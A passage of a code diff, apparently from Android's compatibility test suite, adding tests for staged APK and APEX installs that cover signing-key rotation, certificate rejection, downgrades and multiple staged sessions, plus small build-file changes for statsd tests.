+ int sessionId = retrieveLastSessionId();
+ assertSessionApplied(sessionId);
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ }
+
+ @Test
+ public void testInstallV2SignedBobApex_Commit() throws Exception {
+ int sessionId = stageSingleApk(Apex2SignedBobRot).assertSuccessful().getSessionId();
+ waitForIsReadyBroadcast(sessionId);
+ assertSessionReady(sessionId);
+ storeSessionId(sessionId);
+ }
+
+ @Test
+ public void testInstallV2SignedBobApex_VerifyPostReboot() throws Exception {
+ int sessionId = retrieveLastSessionId();
+ assertSessionApplied(sessionId);
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ }
+
+ @Test
public void testInstallV3Apex_Commit() throws Exception {
int sessionId = stageSingleApk(TestApp.Apex3).assertSuccessful().getSessionId();
waitForIsReadyBroadcast(sessionId);
@@ -481,6 +502,21 @@
}
@Test
+ public void testInstallV3SignedBobApex_Commit() throws Exception {
+ int sessionId = stageSingleApk(Apex2SignedBobRot).assertSuccessful().getSessionId();
+ waitForIsReadyBroadcast(sessionId);
+ assertSessionReady(sessionId);
+ storeSessionId(sessionId);
+ }
+
+ @Test
+ public void testInstallV3SignedBobApex_VerifyPostReboot() throws Exception {
+ int sessionId = retrieveLastSessionId();
+ assertSessionApplied(sessionId);
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ }
+
+ @Test
public void testStagedInstallDowngradeApex_DowngradeNotRequested_Fails_Commit()
throws Exception {
assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
@@ -542,6 +578,25 @@
}
@Test
+ public void testStagedInstallDowngradeApexToSystemVersion_DebugBuild_Commit()
+ throws Exception {
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ int sessionId = stageDowngradeSingleApk(TestApp.Apex1).assertSuccessful().getSessionId();
+ waitForIsReadyBroadcast(sessionId);
+ assertSessionReady(sessionId);
+ storeSessionId(sessionId);
+ }
+
+ @Test
+ public void testStagedInstallDowngradeApexToSystemVersion_DebugBuild_VerifyPostReboot()
+ throws Exception {
+ int sessionId = retrieveLastSessionId();
+ assertSessionApplied(sessionId);
+ // Apex should be downgraded.
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ }
+
+ @Test
public void testInstallApex_DeviceDoesNotSupportApex_Fails() throws Exception {
InstallUtils.commitExpectingFailure(IllegalArgumentException.class,
"This device doesn't support the installation of APEX files",
@@ -564,7 +619,7 @@
assertSessionFailed(sessionId);
// Session is in a final state. Test that abandoning the session doesn't remove it from the
// session database.
- getPackageInstaller().abandonSession(sessionId);
+ abandonSession(sessionId);
assertSessionFailed(sessionId);
}
@@ -644,6 +699,218 @@
assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
}
+ @Test
+ public void testRejectsApexDifferentCertificate() throws Exception {
+ int sessionId = stageSingleApk(Apex2DifferentCertificate)
+ .assertSuccessful().getSessionId();
+ PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
+ assertThat(info.getSessionId()).isEqualTo(sessionId);
+ assertThat(info).isStagedSessionFailed();
+ assertThat(info.getStagedSessionErrorMessage()).contains("is not compatible with the one "
+ + "currently installed on device");
+ }
+
+ /**
+ * Tests for staged install involving rotated keys.
+ *
+ * Here alice means the original default key that cts.shim.v1 package was signed with and
+ * bob is the new key alice rotates to. Where ambiguous, we will refer keys as alice and bob
+ * instead of "old key" and "new key".
+ */
+
+ // The update should fail if it is signed with a different non-rotated key
+ @Test
+ public void testUpdateWithDifferentKeyButNoRotation() throws Exception {
+ int sessionId = stageSingleApk(Apex2SignedBob).assertSuccessful().getSessionId();
+ waitForIsFailedBroadcast(sessionId);
+ }
+
+ // The update should pass if it is signed with a proper rotated key
+ @Test
+ public void testUpdateWithDifferentKey_Commit() throws Exception {
+ int sessionId = stageSingleApk(Apex2SignedBobRot).assertSuccessful().getSessionId();
+ waitForIsReadyBroadcast(sessionId);
+ }
+
+ @Test
+ public void testUpdateWithDifferentKey_VerifyPostReboot() throws Exception {
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ }
+
+ // Once updated with a new rotated key (bob), further updates with old key (alice) should fail
+ @Test
+ public void testUntrustedOldKeyIsRejected() throws Exception {
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ int sessionId = stageSingleApk(TestApp.Apex3).assertSuccessful().getSessionId();
+ waitForIsFailedBroadcast(sessionId);
+ }
+
+ // Should be able to update with an old key which is trusted
+ @Test
+ public void testTrustedOldKeyIsAccepted_Commit() throws Exception {
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ int sessionId = stageSingleApk(Apex2SignedBobRotRollback).assertSuccessful().getSessionId();
+ waitForIsReadyBroadcast(sessionId);
+ }
+
+ @Test
+ public void testTrustedOldKeyIsAccepted_CommitPostReboot() throws Exception {
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ int sessionId = stageSingleApk(TestApp.Apex3).assertSuccessful().getSessionId();
+ waitForIsReadyBroadcast(sessionId);
+ }
+
+ @Test
+ public void testTrustedOldKeyIsAccepted_VerifyPostReboot() throws Exception {
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+ }
+
+ // Once updated with a new rotated key (bob), further updates with new key (bob) should pass
+ @Test
+ public void testAfterRotationNewKeyCanUpdateFurther_CommitPostReboot() throws Exception {
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ int sessionId = stageSingleApk(Apex3SignedBobRot).assertSuccessful().getSessionId();
+ waitForIsReadyBroadcast(sessionId);
+ }
+
+ @Test
+ public void testAfterRotationNewKeyCanUpdateFurther_VerifyPostReboot() throws Exception {
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+ }
+
+ // Once updated with a new rotated key (bob), further updates can be done with key only
+ @Test
+ public void testAfterRotationNewKeyCanUpdateFurtherWithoutLineage()
+ throws Exception {
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ int sessionId = stageSingleApk(Apex3SignedBob).assertSuccessful().getSessionId();
+ waitForIsReadyBroadcast(sessionId);
+ }
+
+ /**
+ * Tests for staging and installing multiple staged sessions.
+ */
+
+ // Should fail to stage multiple sessions when check-point is not available
+ @Test
+ public void testFailStagingMultipleSessionsIfNoCheckPoint() throws Exception {
+ int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+ StageSessionResult failedSessionResult = stageSingleApk(TestApp.B1);
+ assertThat(failedSessionResult.getErrorMessage()).contains(
+ "Cannot stage multiple sessions without checkpoint support");
+ // Currently abandoning a session before pre-reboot verification finishes might result in
+ // a system_server crash. Before that issue is resolved we need to manually wait for
+ // pre-reboot verification to finish before abandoning sessions.
+ // TODO(b/145925842): remove following two lines after fixing the bug.
+ waitForIsReadyBroadcast(sessionId);
+ }
+
+ @Test
+ public void testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk() throws Exception {
+ int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+ StageSessionResult failedSessionResult = stageSingleApk(TestApp.A1);
+ assertThat(failedSessionResult.getErrorMessage()).contains(
+ "has been staged already by session");
+ // Currently abandoning a session before pre-reboot verification finishes might result in
+ // a system_server crash. Before that issue is resolved we need to manually wait for
+ // pre-reboot verification to finish before abandoning sessions.
+ // TODO(b/145925842): remove following two lines after fixing the bug.
+ waitForIsReadyBroadcast(sessionId);
+ }
+
+ @Test
+ public void testAllowNonOverlappingMultipleStagedInstall_MultiPackageSinglePackage_Apk()
+ throws Exception {
+ int firstSessionId = stageMultipleApks(TestApp.A1, TestApp.B1).assertSuccessful()
+ .getSessionId();
+ // Currently abandoning a session before pre-reboot verification finishes might result in
+ // a system_server crash. Before that issue is resolved we need to manually wait for
+ // pre-reboot verification to finish before abandoning sessions.
+ // TODO(b/145925842): remove following two lines after fixing the bug.
+ waitForIsReadyBroadcast(firstSessionId);
+ int secondSessionId = stageSingleApk(TestApp.C1).assertSuccessful().getSessionId();
+ // Currently abandoning a session before pre-reboot verification finishes might result in
+ // a system_server crash. Before that issue is resolved we need to manually wait for
+ // pre-reboot verification to finish before abandoning sessions.
+ // TODO(b/145925842): remove following two lines after fixing the bug.
+ waitForIsReadyBroadcast(secondSessionId);
+ }
+
+ @Test
+ public void testFailOverlappingMultipleStagedInstall_BothMultiPackage_Apk() throws Exception {
+ int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1).assertSuccessful().getSessionId();
+ StageSessionResult failedSessionResult = stageMultipleApks(TestApp.A2, TestApp.C1);
+ assertThat(failedSessionResult.getErrorMessage()).contains(
+ "has been staged already by session");
+ // Currently abandoning a session before pre-reboot verification finishes might result in
+ // a system_server crash. Before that issue is resolved we need to manually wait for
+ // pre-reboot verification to finish before abandoning sessions.
+ // TODO(b/145925842): remove following two lines after fixing the bug.
+ waitForIsReadyBroadcast(sessionId);
+ }
+
+ @Test
+ public void testMultipleStagedInstall_ApkOnly_Commit()
+ throws Exception {
+ int firstSessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+ waitForIsReadyBroadcast(firstSessionId);
+ int secondSessionId = stageSingleApk(TestApp.B1).assertSuccessful().getSessionId();
+ waitForIsReadyBroadcast(secondSessionId);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ storeSessionIds(Arrays.asList(firstSessionId, secondSessionId));
+ }
+
+ @Test
+ public void testMultipleStagedInstall_ApkOnly_VerifyPostReboot()
+ throws Exception {
+ List<Integer> sessionIds = retrieveLastSessionIds();
+ for (int sessionId: sessionIds) {
+ assertSessionApplied(sessionId);
+ }
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+ assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
+ }
+
+ @Test
+ public void testSamegradeSystemApex_Commit() throws Exception {
+ final PackageInfo shim = InstrumentationRegistry.getInstrumentation().getContext()
+ .getPackageManager().getPackageInfo(SHIM_PACKAGE_NAME, PackageManager.MATCH_APEX);
+ assertThat(shim.getLongVersionCode()).isEqualTo(1);
+ assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM).isEqualTo(
+ ApplicationInfo.FLAG_SYSTEM);
+ assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED).isEqualTo(
+ ApplicationInfo.FLAG_INSTALLED);
+ int sessionId = stageDowngradeSingleApk(TestApp.Apex1).assertSuccessful().getSessionId();
+ waitForIsReadyBroadcast(sessionId);
+ storeSessionId(sessionId);
+ }
+
+ @Test
+ public void testSamegradeSystemApex_VerifyPostReboot() throws Exception {
+ int sessionId = retrieveLastSessionId();
+ assertSessionApplied(sessionId);
+ final PackageInfo shim = InstrumentationRegistry.getInstrumentation().getContext()
+ .getPackageManager().getPackageInfo(SHIM_PACKAGE_NAME, PackageManager.MATCH_APEX);
+ assertThat(shim.getLongVersionCode()).isEqualTo(1);
+ // Check that APEX on /data wins.
+ assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM).isEqualTo(0);
+ assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED).isEqualTo(
+ ApplicationInfo.FLAG_INSTALLED);
+ }
+
+ @Test
+ public void testInstallApkChangingFingerprint() throws Exception {
+ int sessionId = Install.single(TestApp.A1).setStaged().commit();
+ storeSessionId(sessionId);
+ }
+
+ @Test
+ public void testInstallApkChangingFingerprint_VerifyAborted() throws Exception {
+ int sessionId = retrieveLastSessionId();
+ assertSessionFailed(sessionId);
+ }
+
private static long getInstalledVersion(String packageName) {
Context context = InstrumentationRegistry.getInstrumentation().getContext();
PackageManager pm = context.getPackageManager();
@@ -683,12 +950,14 @@
TestApp empty = new TestApp(null, null, -1,
apkFileName.endsWith(".apex"));
int sessionId = Install.single(empty).setStaged().createSession();
- PackageInstaller.Session session = InstallUtils.openPackageInstallerSession(sessionId);
- writeApk(session, apkFileName, outputFileName);
- // Commit the session (this will start the installation workflow).
- Log.i(TAG, "Committing session for apk: " + apkFileName);
- commitSession(sessionId);
- return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
+ try (PackageInstaller.Session session =
+ InstallUtils.openPackageInstallerSession(sessionId)) {
+ writeApk(session, apkFileName, outputFileName);
+ // Commit the session (this will start the installation workflow).
+ Log.i(TAG, "Committing session for apk: " + apkFileName);
+ commitSession(sessionId);
+ return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
+ }
}
private static StageSessionResult stageSingleApk(TestApp testApp) throws Exception {
@@ -755,6 +1024,24 @@
}
}
+ private void storeSessionIds(List<Integer> sessionIds) throws Exception {
+ try (BufferedWriter writer = new BufferedWriter(new FileWriter(mTestStateFile))) {
+ writer.write(sessionIds.toString());
+ }
+ }
+
+ private List<Integer> retrieveLastSessionIds() throws Exception {
+ try (BufferedReader reader = new BufferedReader(new FileReader(mTestStateFile))) {
+ String line = reader.readLine();
+ String[] sessionIdsStr = line.substring(1, line.length() - 1).split(", ");
+ ArrayList<Integer> result = new ArrayList<>();
+ for (String sessionIdStr: sessionIdsStr) {
+ result.add(Integer.parseInt(sessionIdStr));
+ }
+ return result;
+ }
+ }
+
private static void writeApk(PackageInstaller.Session session, String apkFileName,
String outputFileName)
throws Exception {
@@ -861,8 +1148,23 @@
private PackageInstaller.SessionInfo waitForBroadcast(int sessionId) throws Exception {
PackageInstaller.SessionInfo info =
SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
- assertThat(info).isNotNull();
+ assertWithMessage("Timed out while waiting for session to get ready")
+ .that(info).isNotNull();
assertThat(info.getSessionId()).isEqualTo(sessionId);
return info;
}
+
+ private void assertNoSessionCommitBroadcastSent() throws Exception {
+ PackageInstaller.SessionInfo info =
+ SessionUpdateBroadcastReceiver.sessionCommittedBroadcasts.poll(10,
+ TimeUnit.SECONDS);
+ assertThat(info).isNull();
+ }
+
+ @Test
+ public void isCheckpointSupported() {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ StorageManager sm = (StorageManager) context.getSystemService(Context.STORAGE_SERVICE);
+ assertThat(sm.isCheckpointSupported()).isTrue();
+ }
}
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index 6bb1d6f..435bf9f 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -48,6 +48,13 @@
private static final String SHIM_APEX_PACKAGE_NAME = "com.android.apex.cts.shim";
+ private static final String PACKAGE_NAME = "com.android.tests.stagedinstall";
+
+ private static final String BROADCAST_RECEIVER_COMPONENT = PACKAGE_NAME + "/"
+ + PACKAGE_NAME + ".LauncherActivity";
+
+ private String mDefaultLauncher = null;
+
@Rule
public final FailedTestLogHook mFailedTestLogHook = new FailedTestLogHook(this);
@@ -58,7 +65,7 @@
* For example, <code>runPhase("testInstallStagedApkCommit");</code>
*/
private void runPhase(String phase) throws Exception {
- assertThat(runDeviceTests("com.android.tests.stagedinstall",
+ assertThat(runDeviceTests(PACKAGE_NAME,
"com.android.tests.stagedinstall.StagedInstallTest",
phase)).isTrue();
}
@@ -67,21 +74,25 @@
public void setUp() throws Exception {
runPhase("cleanUp");
uninstallShimApexIfNecessary();
+ storeDefaultLauncher();
}
@After
public void tearDown() throws Exception {
runPhase("cleanUp");
uninstallShimApexIfNecessary();
+ setDefaultLauncher(mDefaultLauncher);
}
/**
- * Tests staged install involving only one apk.
+ * Tests for staged install involving only one apk.
*/
@Test
@LargeTest
public void testInstallStagedApk() throws Exception {
assumeSystemUser();
+
+ setDefaultLauncher(BROADCAST_RECEIVER_COMPONENT);
runPhase("testInstallStagedApk_Commit");
getDevice().reboot();
runPhase("testInstallStagedApk_VerifyPostReboot");
@@ -94,26 +105,6 @@
}
@Test
- public void testFailInstallAnotherSessionAlreadyInProgress_BothSinglePackage() throws Exception {
- runPhase("testFailInstallAnotherSessionAlreadyInProgress_BothSinglePackage");
- }
-
- @Test
- public void testFailInstallAnotherSessionAlreadyInProgress_SinglePackageMultiPackage() throws Exception {
- runPhase("testFailInstallAnotherSessionAlreadyInProgress_SinglePackageMultiPackage");
- }
-
- @Test
- public void testFailInstallAnotherSessionAlreadyInProgress_MultiPackageSinglePackage() throws Exception {
- runPhase("testFailInstallAnotherSessionAlreadyInProgress_MultiPackageSinglePackage");
- }
-
- @Test
- public void testFailInstallAnotherSessionAlreadyInProgress_BothMultiPackage() throws Exception {
- runPhase("testFailInstallAnotherSessionAlreadyInProgress_BothMultiPackage");
- }
-
- @Test
@LargeTest
public void testAbandonStagedApkBeforeReboot() throws Exception {
runPhase("testAbandonStagedApkBeforeReboot_CommitAndAbandon");
@@ -125,6 +116,8 @@
@LargeTest
public void testInstallMultipleStagedApks() throws Exception {
assumeSystemUser();
+
+ setDefaultLauncher(BROADCAST_RECEIVER_COMPONENT);
runPhase("testInstallMultipleStagedApks_Commit");
getDevice().reboot();
runPhase("testInstallMultipleStagedApks_VerifyPostReboot");
@@ -137,18 +130,20 @@
}
@Test
- public void testGetActiveStagedSession() throws Exception {
- runPhase("testGetActiveStagedSession");
+ public void testGetActiveStagedSessions() throws Exception {
+ assumeTrue(isCheckpointSupported());
+ runPhase("testGetActiveStagedSessions");
}
@Test
- public void testGetActiveStagedSessionNoSessionActive() throws Exception {
- runPhase("testGetActiveStagedSessionNoSessionActive");
+ public void testGetActiveStagedSessionsNoSessionActive() throws Exception {
+ runPhase("testGetActiveStagedSessionsNoSessionActive");
}
@Test
- public void getGetActiveStagedSession_MultiApkSession() throws Exception {
- runPhase("testGetGetActiveStagedSession_MultiApkSession");
+ public void testGetActiveStagedSessions_MultiApkSession() throws Exception {
+ assumeTrue(isCheckpointSupported());
+ runPhase("testGetActiveStagedSessions_MultiApkSession");
}
@Test
@@ -185,6 +180,7 @@
public void testInstallStagedApex() throws Exception {
assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+ setDefaultLauncher(BROADCAST_RECEIVER_COMPONENT);
runPhase("testInstallStagedApex_Commit");
getDevice().reboot();
runPhase("testInstallStagedApex_VerifyPostReboot");
@@ -194,6 +190,7 @@
public void testInstallStagedApexAndApk() throws Exception {
assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+ setDefaultLauncher(BROADCAST_RECEIVER_COMPONENT);
runPhase("testInstallStagedApexAndApk_Commit");
getDevice().reboot();
runPhase("testInstallStagedApexAndApk_VerifyPostReboot");
@@ -268,6 +265,18 @@
@Test
@LargeTest
+ public void testStagedInstallDowngradeApexToSystemVersion_DebugBuild() throws Exception {
+ assumeThat(getDevice().getBuildFlavor(), not(endsWith("-user")));
+ assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+ installV2Apex();
+ runPhase("testStagedInstallDowngradeApexToSystemVersion_DebugBuild_Commit");
+ getDevice().reboot();
+ runPhase("testStagedInstallDowngradeApexToSystemVersion_DebugBuild_VerifyPostReboot");
+ }
+
+ @Test
+ @LargeTest
public void testInstallStagedApex_SameGrade() throws Exception {
assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
@@ -282,6 +291,18 @@
runPhase("testInstallApex_DeviceDoesNotSupportApex_Fails");
}
+ private void installV2Apex()throws Exception {
+ runPhase("testInstallV2Apex_Commit");
+ getDevice().reboot();
+ runPhase("testInstallV2Apex_VerifyPostReboot");
+ }
+
+ private void installV2SignedBobApex() throws Exception {
+ runPhase("testInstallV2SignedBobApex_Commit");
+ getDevice().reboot();
+ runPhase("testInstallV2SignedBobApex_VerifyPostReboot");
+ }
+
private void installV3Apex()throws Exception {
runPhase("testInstallV3Apex_Commit");
getDevice().reboot();
@@ -295,11 +316,6 @@
runPhase("testFailsInvalidApexInstall_AbandonSessionIsNoop");
}
- private boolean isUpdatingApexSupported() throws Exception {
- final String updatable = getDevice().getProperty("ro.apex.updatable");
- return updatable != null && updatable.equals("true");
- }
-
@Test
public void testStagedApkSessionCallbacks() throws Exception {
runPhase("testStagedApkSessionCallbacks");
@@ -315,6 +331,157 @@
runPhase("testInstallStagedApexWithoutApexSuffix_VerifyPostReboot");
}
+ @Test
+ public void testRejectsApexDifferentCertificate() throws Exception {
+ assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+ runPhase("testRejectsApexDifferentCertificate");
+ }
+
+ /**
+ * Tests for staged install involving rotated keys.
+ *
+ * Here alice means the original default key that cts.shim.v1 package was signed with and
+ * bob is the new key alice rotates to. Where ambiguous, we will refer keys as alice and bob
+ * instead of "old key" and "new key".
+ *
+ * By default, rotated keys have rollback capability enabled for old keys. When we remove
+ * rollback capability from a key, it is called "Distrusting Event" and the distrusted key can
+ * not update the app anymore.
+ */
+
+ // Should not be able to update with a key that has not been rotated.
+ @Test
+ public void testUpdateWithDifferentKeyButNoRotation() throws Exception {
+ assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+ runPhase("testUpdateWithDifferentKeyButNoRotation");
+ }
+
+ // Should be able to update with a key that has been rotated.
+ @Test
+ @LargeTest
+ public void testUpdateWithDifferentKey() throws Exception {
+ assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+ runPhase("testUpdateWithDifferentKey_Commit");
+ getDevice().reboot();
+ runPhase("testUpdateWithDifferentKey_VerifyPostReboot");
+ }
+
+ // Should not be able to update with a key that is no longer trusted (i.e, has no
+ // rollback capability)
+ @Test
+ @LargeTest
+ public void testUntrustedOldKeyIsRejected() throws Exception {
+ assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+ installV2SignedBobApex();
+ runPhase("testUntrustedOldKeyIsRejected");
+ }
+
+ // Should be able to update with an old key which is trusted
+ @Test
+ @LargeTest
+ public void testTrustedOldKeyIsAccepted() throws Exception {
+ assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+ runPhase("testTrustedOldKeyIsAccepted_Commit");
+ getDevice().reboot();
+ runPhase("testTrustedOldKeyIsAccepted_CommitPostReboot");
+ getDevice().reboot();
+ runPhase("testTrustedOldKeyIsAccepted_VerifyPostReboot");
+ }
+
+ // Should be able to update further with rotated key
+ @Test
+ @LargeTest
+ public void testAfterRotationNewKeyCanUpdateFurther() throws Exception {
+ assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+ installV2SignedBobApex();
+ runPhase("testAfterRotationNewKeyCanUpdateFurther_CommitPostReboot");
+ getDevice().reboot();
+ runPhase("testAfterRotationNewKeyCanUpdateFurther_VerifyPostReboot");
+ }
+
+ @Test
+ @LargeTest
+ public void testAfterRotationNewKeyCanUpdateFurtherWithoutLineage() throws Exception {
+ assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+ installV2SignedBobApex();
+ runPhase("testAfterRotationNewKeyCanUpdateFurtherWithoutLineage");
+ }
+
+ /**
+ * Tests for staging and installing multiple staged sessions.
+ */
+
+ // Should fail to stage multiple sessions when check-point is not available
+ @Test
+ public void testFailStagingMultipleSessionsIfNoCheckPoint() throws Exception {
+ assumeFalse(isCheckpointSupported());
+ runPhase("testFailStagingMultipleSessionsIfNoCheckPoint");
+ }
+
+ @Test
+ public void testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk() throws Exception {
+ runPhase("testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk");
+ }
+
+ @Test
+ public void testAllowNonOverlappingMultipleStagedInstall_MultiPackageSinglePackage_Apk()
+ throws Exception {
+ assumeTrue(isCheckpointSupported());
+ runPhase("testAllowNonOverlappingMultipleStagedInstall_MultiPackageSinglePackage_Apk");
+ }
+
+ @Test
+ public void testFailOverlappingMultipleStagedInstall_BothMultiPackage_Apk() throws Exception {
+ assumeTrue(isCheckpointSupported());
+ runPhase("testFailOverlappingMultipleStagedInstall_BothMultiPackage_Apk");
+ }
+
+ // Test for installing multiple staged sessions at the same time
+ @Test
+ @LargeTest
+ public void testMultipleStagedInstall_ApkOnly() throws Exception {
+ assumeTrue(isCheckpointSupported());
+ runPhase("testMultipleStagedInstall_ApkOnly_Commit");
+ getDevice().reboot();
+ runPhase("testMultipleStagedInstall_ApkOnly_VerifyPostReboot");
+ }
+
+ @Test
+ @LargeTest
+ public void testSamegradeSystemApex() throws Exception {
+ assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+ runPhase("testSamegradeSystemApex_Commit");
+ getDevice().reboot();
+ runPhase("testSamegradeSystemApex_VerifyPostReboot");
+ }
+
+ @Test
+ public void testInstallApkChangingFingerprint() throws Exception {
+ assumeThat(getDevice().getBuildFlavor(), not(endsWith("-user")));
+
+ try {
+ getDevice().executeShellCommand("setprop persist.pm.mock-upgrade true");
+ runPhase("testInstallApkChangingFingerprint");
+ getDevice().reboot();
+ runPhase("testInstallApkChangingFingerprint_VerifyAborted");
+ } finally {
+ getDevice().executeShellCommand("setprop persist.pm.mock-upgrade false");
+ }
+ }
+
+ private boolean isUpdatingApexSupported() throws Exception {
+ final String updatable = getDevice().getProperty("ro.apex.updatable");
+ return updatable != null && updatable.equals("true");
+ }
+
/**
* Uninstalls a shim apex only if it's latest version is installed on /data partition (i.e.
* it has a version higher than {@code 1}).
@@ -328,19 +495,21 @@
// Device doesn't support updating apex. Nothing to uninstall.
return;
}
- final ITestDevice.ApexInfo shimApex = getShimApex();
- if (shimApex.versionCode == 1) {
- // System version is active, skipping uninstalling active apex and rebooting the device.
+ if (getShimApex().sourceDir.startsWith("/system")) {
+ // System version is active, nothing to uninstall.
return;
}
// Non system version is active, need to uninstall it and reboot the device.
+ Log.i(TAG, "Uninstalling shim apex");
final String errorMessage = getDevice().uninstallPackage(SHIM_APEX_PACKAGE_NAME);
- Log.i(TAG, "Uninstalling shim apex " + shimApex);
if (errorMessage != null) {
- throw new AssertionError("Failed to uninstall " + shimApex);
+ Log.e(TAG, "Failed to uninstall " + SHIM_APEX_PACKAGE_NAME + " : " + errorMessage);
+ } else {
+ getDevice().reboot();
+ final ITestDevice.ApexInfo shim = getShimApex();
+ assertThat(shim.versionCode).isEqualTo(1L);
+ assertThat(shim.sourceDir).startsWith("/system");
}
- getDevice().reboot();
- assertThat(getShimApex().versionCode).isEqualTo(1L);
}
private ITestDevice.ApexInfo getShimApex() throws DeviceNotAvailableException {
@@ -349,6 +518,31 @@
() -> new AssertionError("Can't find " + SHIM_APEX_PACKAGE_NAME));
}
+ /**
+ * Store the component name of the default launcher. This value will be used to reset the
+ * default launcher to its correct component upon test completion.
+ */
+ private void storeDefaultLauncher() throws DeviceNotAvailableException {
+ final String PREFIX = "Launcher: ComponentInfo{";
+ final String POSTFIX = "}";
+ for (String s : getDevice().executeShellCommand("cmd shortcut get-default-launcher")
+ .split("\n")) {
+ if (s.startsWith(PREFIX) && s.endsWith(POSTFIX)) {
+ mDefaultLauncher = s.substring(PREFIX.length(), s.length() - POSTFIX.length());
+ }
+ }
+ }
+
+ /**
+ * Set the default launcher to a given component.
+ * If set to the broadcast receiver component of this test app, this will allow the test app to
+ * receive SESSION_COMMITTED broadcasts.
+ */
+ private void setDefaultLauncher(String launcherComponent) throws DeviceNotAvailableException {
+ assertThat(launcherComponent).isNotEmpty();
+ getDevice().executeShellCommand("cmd package set-home-activity " + launcherComponent);
+ }
+
private static final class FailedTestLogHook extends TestWatcher {
private final BaseHostJUnit4Test mInstance;
@@ -379,6 +573,14 @@
return "Failed to get staged sessions";
}
}
+ }
+ private boolean isCheckpointSupported() throws Exception {
+ try {
+ runPhase("isCheckpointSupported");
+ return true;
+ } catch (AssertionError ignore) {
+ return false;
+ }
}
}
diff --git a/hostsidetests/statsd/Android.bp b/hostsidetests/statsd/Android.bp
index 68a2d15..ea363e7 100644
--- a/hostsidetests/statsd/Android.bp
+++ b/hostsidetests/statsd/Android.bp
@@ -20,17 +20,21 @@
// tag this module as a cts test artifact
test_suites: [
"cts",
- "vts",
"general-tests",
+ "mts",
+ "vts",
],
libs: [
- "cts-tradefed",
- "tradefed",
"compatibility-host-util",
+ "cts-tradefed",
"host-libprotobuf-java-full",
"platformprotos",
- "truth-host-prebuilt",
+ "tradefed",
+ "truth-prebuilt",
],
- data: ["**/*.pbtxt"],
+ data: [
+ "**/*.pbtxt",
+ ":CtsStatsdApp",
+ ],
}
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.bp b/hostsidetests/statsd/apps/statsdapp/Android.bp
index 01b07ec..b24d1c3 100644
--- a/hostsidetests/statsd/apps/statsdapp/Android.bp
+++ b/hostsidetests/statsd/apps/statsdapp/Android.bp
@@ -46,12 +46,6 @@
"androidx.test.rules",
],
jni_libs: ["liblmkhelper"],
- // tag this module as a cts test artifact
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- ],
compile_multilib: "both",
}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
index c679341..9c55177 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
@@ -18,7 +18,7 @@
import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertWithMessage;
import android.accounts.Account;
import android.accounts.AccountManager;
@@ -42,6 +42,7 @@
import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraDevice;
